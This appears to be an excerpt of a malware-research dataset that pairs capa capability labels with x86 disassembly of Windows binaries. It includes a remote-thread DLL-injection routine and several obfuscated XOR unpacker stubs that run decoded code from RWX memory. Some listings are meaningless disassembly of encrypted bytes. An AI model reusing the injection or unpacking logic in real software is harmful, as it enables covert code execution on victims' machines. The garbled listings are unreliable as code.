joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6e3c14a6
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6e3c159f
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x6e3c1602
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6e3c16c4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x6e3c1637
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6e3c16c4
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6e3c1661
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6e3c16c4
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x6e3c16a8
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6e3c16c4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x6e3c1ca0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6e3c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6e3c6034]
sub esp, 4
test ebx, ebx
je 0x6e3c1ceb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6e3c1ce4
test esi, esi
je 0x6e3c1ce4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6e3c1cc0
mov dword [esp], 0x6e3c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6e3c1ed0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6e3c4268
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6e3c1f20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6e3c1ff8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6e3c1f5e
cmp eax, 4
jne 0x6e3c1f80
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6e3c1f6e
cmp edx, 4
je 0x6e3c1f6e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6e3c1ed0
Function at 0x29a01815
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x29a169b8]
jne 0x29a0181f
repz ret
jmp fcn.29a0e56f

Function at 0x29a01eda
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x29a01ee9
pop dword [ebp - 0x28]
mov eax, 0x29a01ee9
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x2b436dd6
add dword [ebp - 0x38], 0x230ed775
mov dword [ebp - 0x34], 0x2f399b80
add dword [ebp - 0x34], 0x2f9b0c5
mov dword [ebp - 0x30], 0xc2e68a42
sub dword [ebp - 0x30], 0x769a4614
mov dword [ebp - 0x2c], 0xe096fa93
sub dword [ebp - 0x2c], 0xe096fa93
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xc1ef222b
sub dword [ebp - 0x38], 0x4d7cb8d5
mov dword [ebp - 0x34], 0x42782372
add dword [ebp - 0x34], 0xfef43e03
mov dword [ebp - 0x30], 0x7be29d44
add dword [ebp - 0x30], 0xe78ccf28
mov dword [ebp - 0x2c], 0xba11fb4c
add dword [ebp - 0x2c], 0x45ee04b4
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x876f78c1
add eax, 0xa23187db
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x388ea
push 0
call eax
mov ecx, 0xceefb8bf
sub ecx, 0xceef7433
xor edx, edx
add edx, eax
mov esi, 0x32dc45e9
add esi, 0xf6c5a817
add esi, dword [ebp - 0x28]
mov ebx, 0xb97cda14
sub ebx, 0xf66fdee2
sub dword [ebp - 0x24], edi
mov edi, dword [esi]
xor dword [ebp - 8], ebx
add edi, ebx
add dword [ebp - 0x18], 0x6ce8fcd2
mov dword [edx], edi
sub dword [ebp - 0x10], esi
add edx, 0x46586cf9
add edx, 0xb9a7930b
add esi, 0xab1d00b3
sub esi, 0xab1d00af
loop 0x29a02003
add eax, 0x6db4de9f
sub eax, 0x6db3d99c
mov ebx, eax
add eax, 5
mov ecx, 0x29a00000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x100447c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100447d6
pop dword [ebp - 0x24]
mov eax, 0xdb685e66
add eax, 0x349be970
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x56814
push 0
mov eax, 0xc6a038c9
sub eax, 0xb6a027a5
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xc40019e
add ecx, 0xf3c03956
xor esi, esi
add esi, eax
mov edx, 0x100a0c00
add edx, dword [ebp - 0x24]
mov edi, 0xe9e0d88b
sub edi, 0xf4fa5ce8
add dword [ebp - 0x1c], 0x1e73ad7c
mov ebx, dword [edx]
xor dword [ebp - 4], 0xf14e2ca2
add ebx, edi
xor dword [ebp - 4], esi
mov dword [esi], ebx
add dword [ebp - 0x10], 0xa8a579f1
add esi, 4
add edx, 0xfd16a918
add edx, 0x2e956ec
loop 0x10044831
add eax, 0xdea3
mov ebx, eax
add eax, 5
mov ecx, 0xa578c09
sub ecx, 0xfa578c09
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x1004605f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100870c0]
jne 0x10046069
repz ret
jmp fcn.1004ef8a
Function at 0x1004eda7
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10087268]
je 0x1004edc2
inc edi
cmp edi, 0x17
jb 0x1004edb3
cmp edi, 0x17
jae 0x1004ef42
push ebp
push 3
call fcn.10055799
cmp eax, 1
pop ecx
je 0x1004ef0e
push 3
call fcn.10055799
test eax, eax
pop ecx
jne 0x1004edf6
cmp dword [0x1008894c], 1
je 0x1004ef0e
cmp ebx, 0xfc
je 0x1004ef41
push 0x1000ae6c
mov ebx, 0x314
push ebx
mov ebp, 0x10088b00
push ebp
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee2c
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x104
mov esi, 0x10088b19
push esi
push 0
mov byte [0x10088c1d], 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1004ee70
push 0x1000ae54
push 0x2fb
push esi
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee70
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1004fb11
add esp, 0x14
push esi
call fcn.10055430
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1004eeb5
push esi
call fcn.10055430
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x10088e14
push 0x1000a540
sub ecx, eax
push ecx
push eax
call fcn.100447c7
add esp, 0x14
test eax, eax
je 0x1004eeb5
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
jmp 0x1004eeb7
xor esi, esi
push 0x1000ae50
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eed7
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push dword [edi*8 + 0x1008726c]
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eef9
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x12010
push 0x1000ae28
push ebp
call fcn.100447c7
add esp, 0xc
jmp 0x1004ef41
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x1004ef41
cmp ebp, 0xffffffff
je 0x1004ef41
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1008726c]
push dword [esi]
call fcn.10055430
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.kernel32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.10016550
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.10016550
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x4257b3
Capabilities:
Encode data using xor

Disassembly:
dec esi
pop esi
push 0x36
cld
pop esp
or dword [edx - 0x4e], ecx
push ebp
add al, 0x1d
invalid

Function at 0x42b6fa
Capabilities:
Encode data using xor

Disassembly:
inc ebp
lodsb al, byte [esi]
mov dl, 0xfb
push es
stosd dword es:[edi], eax
mov esp, 0x66ce4caa
aaa
mov dl, 0xc3
mov dh, 0xac
mov ch, 0x12
out 0x1c, al
cmc
sbb edi, dword [eax - 0x5386c962]
arpl word [ebx + 0x32c06d9e], cx
sub al, 0x78
xchg ecx, eax
jo 0x42b6ef
invalid
fcompp
cli
inc edx
adc dword [edi + 0x1be2f4b8], 0x5e
invalid
pop esi
sbb ebx, dword [esi + 2]
stc
pop esi
add bh, cl
or dword [ebp + 0x6b], edi
mov byte [0x5b4f8363], al
xor dword [ebx + 0x72], edx
xchg ecx, eax
and al, 0x7a
xlatb
mov ch, 0xab
sub esi, esi
mov esi, 0xf2baa29e
inc eax
push edx
imul esp, dword [ebx + 0x4eacc8d9], 7
loop 0x42b6f0
inc edx
fdivr qword [eax + ebx*4 - 0x166cb2ad]
outsb dx, byte [esi]
jecxz 0x42b76d
xor ebp, 0xd1b25bf0
js 0x42b6c9
mov edi, dword [edx + 0x27b66dae]
xor edi, dword [ecx - 0x73b642b2]
daa
mov edi, 0xfb97816e
pop ebp
in al, 3
loopne 0x42b6fb
add esp, ebx
mov dword [0xdac36ce1], eax
and dl, bh
je 0x42b765
cmp eax, 0x3310d817
dec ecx
or dword [edx - 0x1d], edx
push ebx
xchg ecx, eax
out dx, al
sbb dword [ebx - 0x36f3fc0c], 0x3f
mov esi, 0x6df31d59
hlt
rep insd dword es:[edi], dx
push 0x48d21b74
int1
test eax, 0xdadb4d5d
jnp 0x42b71f
aad 0x81
js 0x42b7f1
add edx, esp
popal
cli
scasb al, byte es:[edi]
xchg edx, edx
movsd dword es:[edi], dword [esi]
and esi, dword [edx + 0x6e]
xlatb
out 0xf, eax
sbb al, 0x32
in eax, dx
dec esp
loope 0x42b7d8
inc eax
mov ch, 0x15
adc bh, cl
xchg dword [esi - 0x5207c2c7], esi
mov ebx, 0x963604b4
iretd
scasd eax, dword es:[edi]
scasb al, byte es:[edi]
lodsd eax, dword [esi]
ficom word [ebx - 0x11bdbfc2]
add al, 0x77
inc eax
nop
mov ecx, 0xe4a74f8f
aas
push 0x70
repe scasb al, byte es:[edi]
cmpsb byte [esi], byte es:[edi]
imul ebp, dword [ebp + 0x16b042ef], 0x72e757a6
xor dword [edx + 0x12db016a], ebp
sub eax, 0x793be086
dec edx
ror byte [eax], 1
iretd
Function at 0x451849
Capabilities:
Encode data using xor

Disassembly:
jg 0x451889
mov cl, 0xa7
jno 0x451870
push ds
dec esp
cmp eax, 0x2bb3a874
xchg esp, eax
xchg esp, eax
jp 0x4518c0
and bh, cl
invalid
push 0xffffffffffffff84
pushal
stosd dword es:[edi], eax
inc esp
mov bh, 2
inc ebp
pop ds
inc esp
lcall 0xa115, 0xc0a52634
inc ebx
sbb ecx, dword [ebp + 0x30]
movsb byte es:[edi], byte [esi]
shr byte [ebp + 4], 1
loope 0x45184b
insd dword es:[edi], dx
add al, 0xe1
cmpsb byte [esi], byte es:[edi]
add al, 0xbd
mov byte [esi], ah
test eax, 0x17386e0e
test al, 0xda
or ah, dh
xor al, 0x5a
cmp al, 0x2f
in al, dx
je 0x4518a1
insd dword es:[edi], dx
mov eax, 0x6122a08c
jbe 0x45184f
xor al, 0xba
les edi, [ecx - 0x20e7e310]
aad 0xa8
xor al, 0xd
and dword [edx], eax
leave
push ds
inc ebx
daa
xchg ecx, eax
pop esi
rcr edx, cl
arpl word [edi - 0x4f], bx
sbb byte [esp + edi*4 + 0x5ee26ea9], bl
push 0x14fdbad3
dec edx
jecxz 0x451878
cmpsd dword [esi], dword es:[edi]
mov fs, word [edi + ebp*2 + 0x52]
push ebp
push ss
xchg dword [edi + 0x4d], esp
mov dword [eax - 0x245016ff], esp
das
mov al, byte [0x59f1c4c3]
scasd eax, dword es:[edi]
sub al, al
movsb byte es:[edi], byte [esi]
dec edx
inc edx
xchg esi, eax
push 0x4692dd8c
jno 0x4518af
pushal
inc esp
inc ebx
imul eax, dword [edx + esi*8]
xor al, 0xcc
xchg ebp, eax
lcall 0x8c7f, 0x49872dce
and bh, byte [eax*8 + 0x6478e046]
or dword [edi], 0xffffffbf
movsd dword es:[edi], dword [esi]
retf 0x5bb7
Function at 0x4597ca
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ds
pop edx
salc
out 0x26, al
stosb byte es:[edi], al
imul ecx, dword [ecx + edx], 0xbeca8b2f
and cl, ch
and dword [ebx + 0x55cad967], ebx
invalid

Function at 0x46d846
Capabilities:
Encode data using xor

Disassembly:
imul di, word [ebx + 0x33c47f93], 0xd630
inc edx
fcom dword [ebx + 0x16bbd9b3]
and bl, bh
inc ebp
lahf
salc
push 0xfffffffffffffffd
rcr byte [edx - 0x407b2422], 1
clc
test eax, 0x4117a580
xor edx, dword [esi]
imul dword [esi]
inc esp
push es
cmpsd dword [esi], dword es:[edi]
insd dword es:[edi], dx
lodsb al, byte [esi]
invalid

Function at 0x4bb041
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c2390
cmp edx, dword [eax]
je 0x4bb063
add eax, 8
inc ecx
cmp eax, 0x4c2420
jl 0x4bb054
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c2390]
jne 0x4bb191
mov eax, dword [0x4c6d1c]
cmp eax, 1
je 0x4bb16b
test eax, eax
jne 0x4bb094
cmp dword [0x4c22bc], 1
je 0x4bb16b
cmp edx, 0xfc
je 0x4bb191
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb0cb
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bba20
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bbeb0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb10e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bbeb0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c072c
push edi
call fcn.004bdd80
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bba20
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bba30
lea eax, [ebp - 0xa0]
push 0x4c070c
push eax
call fcn.004bba30
push dword [esi + 0x4c2394]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bba30
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bdcf4
add esp, 0x2c
pop edi
jmp 0x4bb191
lea eax, [ebp + 8]
lea esi, [esi + 0x4c2394]
push 0
push eax
push dword [esi]
call fcn.004bbeb0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x5d2d23
Capabilities:
Check for vm using instruction vpcext

Disassembly:
fsubp st(2)
movsb byte es:[edi], byte [esi]
arpl word [edi], bx
into
test byte [ebx - 0x685dbdd4], al
imul ebx, dword [esi + 0x55], 0x412b6743
hlt
inc esp
jmp 0x3cfe7df5
js 0x5d2da0
test dl, dh
loop 0x5d2d76
sbb al, byte [0x79e7eab2]
inc ebx
pop edi
jl 0x5d2ce6
mov dword [ecx - 0x4f], esi
or eax, 0xc045bd71
and al, byte [ebp + 0x6e542fa]
jge 0x5d2cd0
add eax, 0x5cd5000f
push 0x6a
or eax, 0xb4086d52
jp 0x5d2dcd
sbb dh, al
frstor dword [ebx - 0xf]
dec esi
dec ecx
pop ds
inc edi
imul ebp, esi, 0xfffffffb
in al, dx
or eax, 0xcd95c1e3
push ebp
jl 0x5d2dc7
adc edi, dword [ecx + 0xf]
daa
fimul dword [ecx]
popal
sbb ebp, dword [esi + 0xbc27140]
aas
dec ebx
and eax, 0xcc6cfe59
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4042e8
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x2c01080c
mov ecx, 0x1308a043
xor eax, ecx
push eax
mov eax, 0x3a440db8
mov esi, 0x66727006
xor esi, eax
pop edi
xor esi, edi
mov eax, esi
add esp, 0xfffffffc
mov dword [esp], eax
mov edx, 0x2de6739d
xor edx, 0x6146023
mov eax, 0x2955e748
xor edx, eax
xor edx, 0x61981bf6
pop ebx
xor edx, ebx
xor edi, edi
add edi, edi
jmp 0x403f28

Function at 0x4051fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405235
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40523e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405248
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405269
mov al, byte [esp]
jmp 0x40526b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4069dc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x406a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00406978
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a2b
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x406c2c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406cba
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x406c77
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, esi
call fcn.00403278
jmp 0x406ca4
call sub.kernel32.dll_GetCommandLineA_1
cmp byte [eax], 0
jne 0x406c8b
lea eax, [ebp - 4]
call fcn.00403198
jmp 0x406c9a
lea edx, [ebp - 4]
call fcn.00406af0
test ebx, ebx
je 0x406c9a
dec ebx
jmp 0x406c7c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406cc1
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x406cc8
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, ebx
mov eax, esp
call fcn.00404dd0
add esp, 0x104
pop ebx
ret
Function at 0x1000435a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10004369
pop dword [ebp - 0x48]
mov eax, 0x10004369
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x67d911f6
sub dword [ebp - 0x58], 0x1986ccab
mov dword [ebp - 0x54], 0x32be01c6
add dword [ebp - 0x54], 0xff754a7f
mov dword [ebp - 0x50], 0x5996c3b
sub dword [ebp - 0x50], 0xb94d280d
mov dword [ebp - 0x4c], 0x5b5c1e2e
sub dword [ebp - 0x4c], 0x5b5c1e2e
lea eax, [ebp - 0x58]
push eax
mov eax, 0xeb36448c
sub eax, 0xdb34843c
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x30c46061
sub dword [ebp - 0x58], 0xbc51f70b
mov dword [ebp - 0x54], 0x97b8852c
add dword [ebp - 0x54], 0xa9b3dc49
mov dword [ebp - 0x50], 0xbfc6dbb7
sub dword [ebp - 0x50], 0x5c576f4b
mov dword [ebp - 0x4c], 0x94166468
add dword [ebp - 0x4c], 0x6be99b98
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3a790
push 0
call eax
mov ecx, 0x4398
mov edx, eax
mov ebx, 0x87e72bab
add ebx, 0x881b7e55
add ebx, dword [ebp - 0x48]
mov edi, 0xbb1d830b
sub edi, 0x25056696
add dword [ebp - 0x20], ebx
mov esi, dword [ebx]
sub dword [ebp - 0x2c], 0xc19d1f03
xor esi, edi
xor dword [ebp - 8], esi
mov dword [edx], esi
add dword [ebp - 0x44], eax
add edx, 0x9a976713
sub edx, 0x9a97670f
add ebx, 0xf97054c4
sub ebx, 0xf97054c0
loop 0x1000447b
add eax, 0x10133
mov ebx, eax
add eax, 0x57cf8ff9
sub eax, 0x57cf8ff4
mov ecx, 0x6a50a84d
sub ecx, 0x5a50a84d
add ecx, dword [ebp - 0x48]
call ebx
leave
ret